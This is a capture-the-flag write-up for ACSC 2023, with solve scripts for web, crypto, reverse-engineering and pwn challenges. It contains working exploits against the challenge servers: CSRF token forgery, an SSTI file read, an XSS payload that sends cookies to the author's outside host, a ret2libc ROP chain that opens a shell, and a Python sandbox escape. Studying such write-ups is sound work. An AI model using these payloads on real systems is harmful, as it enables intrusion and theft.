# ACSC 2023 Writeups * Author: [maple3142](https://blog.maple3142.net/) [toc] <details> <summary>Screenshots</summary> <img src="https://hackmd.io/_uploads/H16OiDd0s.png"> <img src="https://hackmd.io/_uploads/SyPtoDOCo.png"> <img src="https://hackmd.io/_uploads/SJWqoDORi.png"> <img src="https://hackmd.io/_uploads/BJnciD_Ro.png"> </details> > Having `*` before challenge name means I solved that challenge **after** the competition. ## web ### Admin Dashboard Find LCG parameters by some easy math then generate the fixed CSRF token for admin, then make it access `addadmin.php` to add a new admin user. Login as the new admin user to get flag. ```python import requests from bs4 import BeautifulSoup import time host = "http://admin-dashboard.chal.ctf.acsc.asia" s = requests.Session() s.get(f"{host}/login.php", params={"username": "supernene", "password": "supernene"}) def get_csrf(s): soup = BeautifulSoup(s.get(f"{host}/addadmin.php").text, "html.parser") return soup.select_one("input[name=csrf-token]").get("value") def solve_lcg(lcgs, M): s0, s1, s2, s3, *_ = lcgs a = (s2 - s1) * pow(s1 - s0, -1, M) % M c = (s2 - s1 * a) % M for s, ss in zip(lcgs, lcgs[1:]): assert (a * s + c) % M == ss return a, c def recover_lcg(): lcgs = [] for i in range(4): lcgs.append(int(get_csrf(s), 16)) print("sleep", i) time.sleep(31) lcgs = [ 242981959512841268705863502937240266293, 212806348908635434486040285071576691911, 35736567988205438078302479881533288039, 161950064289252241438657334521470156708, ] print(lcgs) print(solve_lcg(lcgs, M)) # recover_lcg() M = 0xC4F3B4B3DEADBEEF1337C0DEDEADC0DD A, C = (39238395068069510873877941548003979614, 163462177865055857243861130640161174000) s0 = int(b"admin".hex(), 16) s = (A * s0 + C) % M print(hex(s)[2:]) # submit # http://localhost/addadmin.php?username=elitemiko&password=elitemiko&csrf-token=1fe69abb084e42434627a84405d722e0 # then login with elitemiko:elitemiko # ACSC{C$rF_15_3VerYwh3Re!} ``` ### easySSTI Read the framework source code we see that there is a filesystem access with `.Echo.Filesystem`, but to read the file you need to have a `[]byte` buffer to write to. Fortunately, we see `.Get "template"` will be our template in `[]byte`, so we can just reuse it to store the flag. ```bash curl 'http://easyssti.chal.ctf.acsc.asia:8000/' -H 'Template: {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }}' ``` then you will get ``` 26 [65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 34 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 32 125 125 32 123 123 32 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 32 125 125] ``` decode it with `bytes(eval(s.replace(' ',',')))`: `ACSC{h0w_did_y0u_leak_me}` ### Gotion The challenge use a nginx config enables byte-ragne caching like this: ```nginx location ~ .mp4$ { # Smart and Efficient Byte-Range Caching with NGINX # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/ proxy_cache mycache; slice 4096; # Maybe it should be bigger? proxy_cache_key $host$uri$is_args$args$slice_range; proxy_set_header Range $slice_range; proxy_http_version 1.1; proxy_cache_valid 200 206 1h; proxy_pass http://app:3000; } ``` But the `.mp4` regex misuse the `.` character, so it will also match path like `/notes/834dc5a4-45c9-45a7-ba4e-a5969a18fb8b-amp4`. By playing with the byte caching with a custom server locally, we know that nginx will try to parse your `Range` header and align it to `4096` blocks, so `$slice_range` will always be `0-4095` or `4096-8191`. Also, since `$slice_range` is used in cache key so different ranges will have different cache. So if we create a new note and only access its second block (`4096-8191`), then we edit the note content to be shorter and then access the first block (`0-4095`). So if we access the note regularly, nginx will concat the content of the two cached block and send it to client. Therefore, with a carefully block alignment (like heap pwn) it is possible to make the first block end with `<`, and the start of second block will be user-controlled content. Then we can get xss with `<img onerror=alert() src=x:`. ```python import requests import string import os # host = "http://localhost:30080" host = "http://gotion.chal.ctf.acsc.asia" # host = "http://gotion-2.chal.ctf.acsc.asia:30080" pl = 'img onerror=location.assign(`//s.maple3142.net:3535/?${document.cookie}`) src=x:'.ljust(87, ' ') path = requests.post( f"{host}/new-note", data={ "title": "mp4".rjust(20, 'x'), "body": 'x' * (1024 - len(pl)) + pl, }, allow_redirects=False, ).headers["Location"] print(path) note_id = path.split("/")[-1] print(note_id) r = requests.get(f"{host}{path}", headers={"Range": "bytes=4096-"}) print(r.headers) print(r.text) requests.post( f"{host}/update-note", data={ "noteId": note_id, "title": "mp4", "body": "y" * 946, }, allow_redirects=False, ) r = requests.get(f"{host}{path}", headers={"Range": "bytes=-4095"}) print(r.headers) print(r.text) r = requests.get(f"{host}{path}") print(r.headers) print(r.text) print(f"{host}{path}") # to submit, just create another note and edit the form (to pass recaptcha) # ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus} ``` ## crypto ### Merkle Hellman This challenge implemented a [Merkle–Hellman knapsack cryptosystem](https://en.wikipedia.org/wiki/Merkle%E2%80%93Hellman_knapsack_cryptosystem) and encrypt the flag char by char, and the private key is also given. But the length of public key is just 7, so for implementation simplicity we can simply bruteforce $2^7$ possibilities for each char to decrypt the flag. ```python from itertools import product pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084] ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] q = 20910 def decrypt(pk, c): for xs in product(range(2), repeat=7): if sum(x * y for x, y in zip(pk, xs)) == c: s = ''.join(str(x) for x in xs) return chr(int(s, 2)) flag = ''.join(decrypt(pk, c) for c in ct) print(flag) # ACSC{E4zY_P3@zy} ``` ### Check_number_63 We are given a bunch of $e_i,k_i$ that satisify: $$ e_id_i = 1+k_i\varphi(n) $$ then we have: $$ \varphi(n) \equiv \frac{-1}{k_i} \pmod{e_i} $$ Then we CRT to get $t \equiv \varphi(n) \pmod{L}$ for $L=\prod{e_i}$, so $x \equiv n-t+1 \equiv p+q \pmod{L}$. Since $L$ is slightly less than the size of $p+q$, we bruteforce $x+yL$ to find $p+q$ and factor $n$ by solving a quadratic equation. ```python from hashlib import sha512 with open("output.txt") as f: n = ZZ(f.readline().split(" = ")[1]) ee = [] kk = [] for line in f: e, k = line.split(":") ee.append(ZZ(e)) kk.append(ZZ(k)) t = crt([-1 / k % e for k, e in zip(kk, ee)], ee) print(t) L = reduce(lcm, ee) p_plus_q_mod_L = (n - t + 1) % L def solve_quadratic(a, b, c): D = b**2 - 4 * a * c if D >= 0 and ZZ(D).is_square(): D = ZZ(D).sqrt() x1 = (-b + D) // (2 * a) x2 = (-b - D) // (2 * a) return x1, x2 def factor_with_sum(n, p_plus_q): # (x-p)(x-q)=x^2-(p+q)*x+n s = solve_quadratic(1, -p_plus_q, n) if s: p, q = s if n % p == 0: return p, q for t in range(100000): p_plus_q = p_plus_q_mod_L + t * L sol = factor_with_sum(n, p_plus_q) if sol: print(sol) p, q = sol if p > q: p, q = q, p flag = "ACSC{" + sha512(f"{p}{q}".encode()).hexdigest() + "}" print(flag) break # ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746} ``` ### Dual Signature Algorithm We have two modular equation: $$ \begin{aligned} f_1(k, d) &\equiv 0 \pmod{q_1} \\ f_2(k, d) &\equiv 0 \pmod{q_2} \end{aligned} $$ Take `F = crt([f1, f2], [q2, q2])`, then $F(k,d) \equiv 0 \pmod{q_1 q_2}$. Since $q_1 q_2$ is much larger then the size of $k, d$, we use LLL to find it. ```python import os from hashlib import sha256 from Crypto.Util.number import long_to_bytes g = 4 p1, p2 = ( 6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699, 6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839, ) y1, y2 = ( 4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074, 1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759, ) m = b"omochi mochimochi mochimochi omochi" r1, s1 = ( 2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630, 705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802, ) r2, s2 = ( 3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604, 2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373, ) q1, q2 = (p1 // 2), (p2 // 2) def h(m: bytes) -> int: return int(sha256(m).hexdigest(), 16) z = h(m) q = q1 * q2 k, d = Zmod(q)["k, d"].gens() f1 = s1 * k - r1 * d - z f2 = s2 * k - r2 * d - z f = crt([f1, f2], [q1, q2]) M = matrix(ZZ, f.coefficients()).T M = M.augment(matrix.identity(3)) K = isqrt(q) M[-1, -1] *= K M = M.stack(vector([q] + [0] * 3)) M[:, 0] *= 2 ^ 512 print(f) print(M.change_ring(Zmod(100))) delta = [] basis = [] for row in M.LLL(): print(row) if row[-1] == -K: row = -row if row[0] == 0 and row[-1] == K: x_cand = row[2] if pow(g, x_cand, p1) == y1 and pow(g, x_cand, p2) == y2: print('good', x_cand) print(long_to_bytes(x_cand)) break # ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA} ``` ### Corrupted First we fix the PEM formatting by adding newlines appropriately, then replace `?` with `A`. By the file length we know it is a corrupted RSA-2048 private key. We can generate another key with `ssh-keygen -t rsa -b 2048 -m pem` for comparison. Decode the base64 into a binary and open a hex editor (like ImHex), so we can attempt to decode the data with ASN.1 parsing rules and RSA key format: ``` PrivateKeyInfo ::= SEQUENCE { version Version, privateKeyAlgorithm AlgorithmIdentifier , privateKey PrivateKey, attributes [0] Attributes OPTIONAL } RSAPrivateKey ::= SEQUENCE { version Version, modulus INTEGER, -- n publicExponent INTEGER, -- e privateExponent INTEGER, -- d prime1 INTEGER, -- p prime2 INTEGER, -- q exponent1 INTEGER, -- d mod (p-1) exponent2 INTEGER, -- d mod (q-1) coefficient INTEGER, -- (inverse of q) mod p otherPrimeInfos OtherPrimeInfos OPTIONAL } ``` > Taken from [RECOVERING A FULL PEM PRIVATE KEY WHEN HALF OF IT IS REDACTED](https://blog.cryptohack.org/twitter-secrets) ![ImHex screenshot](https://hackmd.io/_uploads/B11X8udAs.png) After that, we know the start byte index and the byte length for each integer, but only $n$ is fully given (not corrupted) and $e$ is partially corrupted but it is easy to guess $e=65537$. All the other parameters from $d,p,q,d_p,d_q,\cdots$ have random bits being corrupted. I used the method given in **section 4.3.2** in [Recovering cryptographic keys from partial information, by example](https://eprint.iacr.org/2020/1506.pdf). We have: $$ ed_p=1+k_p(p-1) \\ ed_q=1+k_q(q-1) $$ and $k_p,k_q$ satisfy $(k_p-1)(k_q-1) \equiv k_pk_qn \pmod{e}$. So we only have to guess at most $e$ pairs of $(k_p,k_q)$. Then we iteratively search the unknown bits using branch-and-prune to find integers simultaneously satisfying the following equations: $$ \begin{aligned} ed_p &\equiv 1+k_p(p-1) \pmod{2^i} \\ ed_q &\equiv 1+k_q(q-1) \pmod{2^i} \\ pq &\equiv n \pmod{2^i} \end{aligned} $$ ```python from binteger import Bin import sys from tqdm import tqdm # recursion go brrrrr sys.setrecursionlimit(1000000) base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" def custom_b64decode(s): bits = [] for c in s: if c == "?": bits += ["?"] * 6 else: x = base64_chars.index(c) bits += list(map(int, f"{x:06b}")) return bits # manually fix the format by hand first (like inserting '\n' at appropriate places) with open("fix.pem") as f: s = "".join(list(f)[1:-1]).strip().replace("\n", "") print(s, len(s)) bits = custom_b64decode(s) print(len(bits) // 8) p_idx = 537 q_idx = 669 p = bits[p_idx * 8 : (p_idx + 129) * 8][::-1][:-8] q = bits[q_idx * 8 : (q_idx + 129) * 8][::-1][:-8] print(hex(Bin([0 if type(x) == str else x for x in p[::-1]]).int)) print(hex(Bin([0 if type(x) == str else x for x in q[::-1]]).int)) dp_idx = 801 dq_idx = 932 dp = bits[dp_idx * 8 : (dp_idx + 128) * 8][::-1] dq = bits[dq_idx * 8 : (dq_idx + 128) * 8][::-1] print(hex(Bin([0 if type(x) == str else x for x in dp[::-1]]).int)) print(hex(Bin([0 if type(x) == str else x for x in dq[::-1]]).int)) def gen_cands(bv, i): if bv[i] == "?": for j in range(2): yield bv[:i] + [j] else: yield bv[: i + 1] def bv2i(bv, i=None): if i is None: i = len(bv) return Bin(bv[:i][::-1]).int # https://eprint.iacr.org/2020/1506.pdf def search_factor(n, p, q, dp, dq, i=0): M = 2**i tp = bv2i(p, i) tq = bv2i(q, i) eq1 = (e * bv2i(dp, i) - 1 + kp) % M == (kp * tp) % M eq2 = (e * bv2i(dq, i) - 1 + kq) % M == (kq * tq) % M eq3 = tp * tq % M == n % M if not all([eq1, eq2, eq3]): return if i >= len(p) or i >= len(q): yield p, q return if p[i] == "?" or q[i] == "?" or dp[i] == "?" or dq[i] == "?": M = 2 ** (i + 1) cp = p[:i] cq = q[:i] for pc in gen_cands(p, i): for qc in gen_cands(q, i): for dpc in gen_cands(dp, i): for dqc in gen_cands(dq, i): pp = Bin(pc[::-1]).int qq = Bin(qc[::-1]).int dpdp = Bin(dpc[::-1]).int dqdq = Bin(dqc[::-1]).int eq1 = (e * dpdp - 1 + kp) % M == (kp * pp) % M eq2 = (e * dqdq - 1 + kq) % M == (kq * qq) % M eq3 = pp * qq % M == n % M if all([eq1, eq2, eq3]): yield from search_factor( n, pc + p[i + 1 :], qc + q[i + 1 :], dpc + dp[i + 1 :], dqc + dq[i + 1 :], i + 1, ) else: yield from search_factor(n, p, q, dp, dq, i + 1) print(len([1 for x in p if x == "?"])) print(len([1 for x in q if x == "?"])) print(len([1 for x in dp if x == "?"])) print(len([1 for x in dq if x == "?"])) n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF e = 65537 for kp in tqdm(range(e)): try: # https://eprint.iacr.org/2020/1506.pdf # section 4.1 equation 2 kq = -(kp - 1) * pow(kp * n - kp + 1, -1, e) % e except ValueError: print(":(", kp) continue for fp, fq in search_factor(n, p, q, dp, dq): pp = Bin(fp[::-1]).int qq = Bin(fq[::-1]).int if pp * qq == n: print(pp) print(qq) exit() ``` Then we generate the fixed key with: ```python from Crypto.PublicKey import RSA import os n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF e = 65537 p = 155299541009430809588425062720223500928329492369022122705786709666016799594094715510895512501712395026781939010582285702324133278500187668837746550939078189422934363524539257681962581826377503167383057860454621968968810001249538573209788164770274648965392813272525012357962769601749883966238281222460619331027 q = 130005404238627558873036684157866291284175474003438745578515687995645550973205054039649665424796512358913432509208859266795477059889954450480912297985878420461860492546158628836966054968695441928927694400623688256686778226818353096884866419423840384345802893831166438228156191918173410848482398330358248591013 d = pow(e, -1, (p - 1) * (q - 1)) key = RSA.construct((n, e, d)) with open("key.pem", "wb") as f: f.write(key.exportKey("PEM")) os.chmod("key.pem", 0o600) os.system("ssh godam@corrupted.chal.ctf.acsc.asia -i key.pem") # ACSC{R3c0vEr_F4ctOr5_fROm_Kn0wn_b17$s!} ``` ### *SusCipher Implemented the cipher in Z3 during the competition but can't get it work efficiently. Thanks @deuterium for telling me I need to minimize the number of bits of chosen plaintexts. ```python from z3 import * from pwn import process, remote from task import SusCipher class Z3Cipher: S = SusCipher.S P = SusCipher.P def __init__(self, sol, subkeys): self.sol = sol self.subkeys = subkeys self.sbox = z3.Function("SBOX", z3.BitVecSort(6), z3.BitVecSort(6)) for i in range(64): self.sol.add(self.sbox(i) == self.S[i]) def _sub(self, block): return [self.sbox(v) for v in block] def _perm(self, block): bits = [] for b in block: for i in range(6): bits.append(Extract(5 - i, 5 - i, b)) new_bits = ["_"] * 6 * 8 for i in range(6 * 8): new_bits[self.P[i]] = bits[i] ret = [] for i in range(8): x = Concat(new_bits[i * 6 : (i + 1) * 6]) ret.append(x) return ret def _xor(self, a, b): return [x ^ y for x, y in zip(a, b)] def encrypt(self, block): block = self._xor(block, self.subkeys[0]) for r in range(3): block = self._sub(block) block = self._perm(block) block = self._xor(block, self.subkeys[r + 1]) return block # io = process(["python", "task.py"]) io = remote("suscipher.chal.ctf.acsc.asia", 13579) msgs = [1 << i for i in range(48)] io.sendlineafter(b"> ", ",".join(map(str, msgs)).encode()) cts = list(map(int, io.recvlineS().strip().split(", "))) sol = Solver() subkeys = [[BitVec(f"k_{i}_{j}", 6) for j in range(8)] for i in range(3 + 1)] z3c = Z3Cipher(sol, subkeys) for msg, ct in zip(msgs, cts): msg = SusCipher._divide(msg) ct = SusCipher._divide(ct) sct = z3c.encrypt(msg) for x, y in zip(ct, sct): sol.add(x == y) print("Solving...") assert sol.check() == sat m = sol.model() key = SusCipher._combine([m.eval(x).as_long() for x in subkeys[0]]) print(key) io.sendlineafter(b"> ", str(key).encode()) io.interactive() # ACSC{There_may_be_a_better_solution_to_solve_this_but_I_used_diff_analysis_:(} ``` ## rev ### serverless The encryptor choose random 2 primes and encrypt the flag with textbook RSA, then encrypt the RSA ciphertext with xor cipher. Since the xor key is known, simply xor it back and do RSA decryption to get flag. ```python from base64 import * from Crypto.Util.number import long_to_bytes ar1 = [ 8026407584881212335717763155461175939053253449558928097356743317580304745257836900537741725487713354811898351514317778474405234115608371781687347872491703, 9901479087075272465000928546760145175528311831313716995411286084780215684429457115750234954269995515521497208022159902709895803492831087888441410900661623, 8903225968632645048112414558941014482368293389707967329431586917899894237468493767277617251082326067122876205027521423107103664566560453106513383698662841, 7306065826954797942887008925345768422542194975212611412996809619206152967943872265885214129607801191067761271051786230521446267111488994860029935891658147, 13002100837416249802976975336617228981498976557336038776019341954643478558536425323716753407024112736914972406623544975287903736193016505594778344376373179, 11576051655637376487642664054274257390376244499880178084751392229273250591900336107156856829956635498116092894051582635232354596017926523129295080605554429, 7902539523670688752549365452498382985299018894363342133531323012327857960923461934902488879455588857566708722435022350733082133933092267702307821906957977, 6783142639439350199274781001550540761424373981915677251043304945175275590386243548101294984514936470982791698773776831533758049672189386462720647770985001, 11319393487244650012717839752121654225994209596419701136831846093323997458647164935453184402661574913288632779725321036933530944725804415713594714876906847, 9585387948560465713976215768016745842108284855244208916003456862520169267729486151203630145345165962235437344782253615764252330421571444685028102486610567, ] ar2 = [ 11138133675080925873149032570509408923592577663944493077262179603892338339426376013580530251498364611817562627156767932116957250284539752419366057012361649, 10574147867451418851637041344231275651423577891311215749455683353579335478795148329490570900445186263552549726662037946613806250295825461252937365691144757, 10674081755614194430694316863648731761829693259627261111906003227581182291436573479641202865404241412518768803795734995501804298710271483715401954860647953, 12968732443832149370169937542849870171809900018949150636308457250052280094029579199566526477098080152448048695730264594884959310262897810775613424383036007, 8972395174076295368444847039674947715229479296809544092248089326976428235345226886712046918654462399484955991711195283733874190395639967899628857836740743, 9527362749634281224487906953140787001780863710164703682625342548102961426576294773243660413567139103445338886795721973525199297094569903788493496539197863, 10229709325149619765696926612743287965524038512950567412494449028112447211284065074607122123674007398601575622550266734924682588447213742414387099108109461, 6775733025973714289289099342079544491278357801546402292504820748645442063442072618107305909729834896739059944218135896652802888272263806165032921710097769, 11844424614832993323731152366810540116450336338053864348795634499070072404906281126852701590624769842713079092273019871232731892965721940265502359688474441, 6939919557269991460418095931967704251043296456961607911365019726251568836845834148571433683707268031711944237071545445764147715416436144904514445039547287, ] x = b64decode( b"MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy" ).decode() ct = bytearray(eval(x)[::-1]) key = b"acscpass" for i in range(len(ct)): ct[i] ^= key[i % len(key)] *cc, s, k, j = ct c = int.from_bytes(bytes(cc), "little") p, q = ar1[j], ar2[k] n = p * q e = 2 ** (2**s) + 1 d = pow(e, -1, (p - 1) * (q - 1)) m = pow(c, d, n) print(long_to_bytes(m)) # ACSC{warmup_challenge_so_easy} # https://github.com/relative/synchrony ``` ### ngo There is a [Galois LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register#Galois_LFSRs) is the binary, and it is generating the flag by xoring the $k$-th output with some known numbers where $k=1, 1+42, 1+42+42^2, \cdots$. Since the max length of that LFSR is $2^{32}-1$, computing $(k \mod{2^{32}-1})$-th output is enough. ```python data = 0x3D2964F0 def magic(): # galois lfsr global data v1 = data & 1 data >>= 1 if v1: data ^= 0x80200003 return data ct = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 0x81, 0x21] cycle = 0xFFFFFFFF to_get = [1] for _ in range(5): to_get.append(42 * to_get[-1] % cycle) print(to_get) # prefix sum for i in range(1, len(to_get)): to_get[i] += to_get[i - 1] dt = {} for i in range(1, max(to_get) + 1): v = magic() if i in to_get: dt[i] = v flag = "" for x, y in zip(to_get, ct): print(x, hex(dt[x])) flag += chr((dt[x] & 0xFF) ^ y) print(f"ACSC{{{flag}}}") # use pypy3 # ACSC{yUhFgRvQ2Afi} ``` ## pwn ### Vaccine BOF to rop leak `puts@GOT` and go back to `main`, then BOF again to do ret2libc. ```python from pwn import * import os os.chdir("./bin") context.arch = "amd64" context.terminal = ["tmux", "splitw", "-h"] libc = ELF("../libc-2.31.so") elf = ELF("./vaccine") rop = ROP(elf) rop.call("puts", [elf.got["puts"]]) rop.call("main") print(rop.dump()) context.log_level = "debug" payload = flat(rop.build()) assert all(x not in payload for x in (b"\x0a", b"\x20")) # io = gdb.debug("./vaccine", "b *(main+417)\nc") # io = process("./vaccine") io = remote("vaccine.chal.ctf.acsc.asia", 1337) io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n") io.recvuntil(b"correct vaccine!\n") print(io.recvlineS().strip()) libc_base = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"] print(f"{libc_base = :#x}") libc.address = libc_base rop2 = ROP(libc) rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0]) payload = flat(rop2.build()) assert all(x not in payload for x in (b"\x0a", b"\x20")) io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n") io.interactive() # ACSC{RoP_3@zy_Pe4$y} ``` ### evalbox `sol2.py`: ```python f=open('/tmp/x', 'wb') f.write(bytes.fromhex('PLACEHOLDER')) f.flush() ``` `sol3.py`: ```python import os os.chmod('/tmp/x', 0o777) os.execve('/tmp/x',['x'],{}) ``` and we prepare a static binary to `opendir` for us and write a wrapper script: ```python import sys with open('main', 'rb') as f: data = f.read() with open(sys.argv[1], "rb") as f: c = f.read() c = c.replace(b'PLACEHOLDER', data.hex().encode()) # print(c.decode()) h = c.hex() print(f'exec(bytes.fromhex("{h}"))') ``` source code of `main`: ```c #include <dirent.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> int main() { DIR *dp; struct dirent *dirp; dp = opendir("."); while ((dirp = readdir(dp)) != NULL) printf("%s\n", dirp->d_name); return 0; } // musl-gcc main.c -o main -static -Os && strip main ``` Then we get the flag filename with: ```bash python wrap.py sol2.py | nc evalbox.chal.ctf.acsc.asia 9999 python wrap.py sol3.py | nc evalbox.chal.ctf.acsc.asia 9999 ``` Then read the flag with `print((f:=open('flag-0479f1dcda629bbe833598bce876a647.txt')).read())`. `ACSC{bl4ckL1st_ruL3_1s_4lw4y5_d4ng3r0uS!}`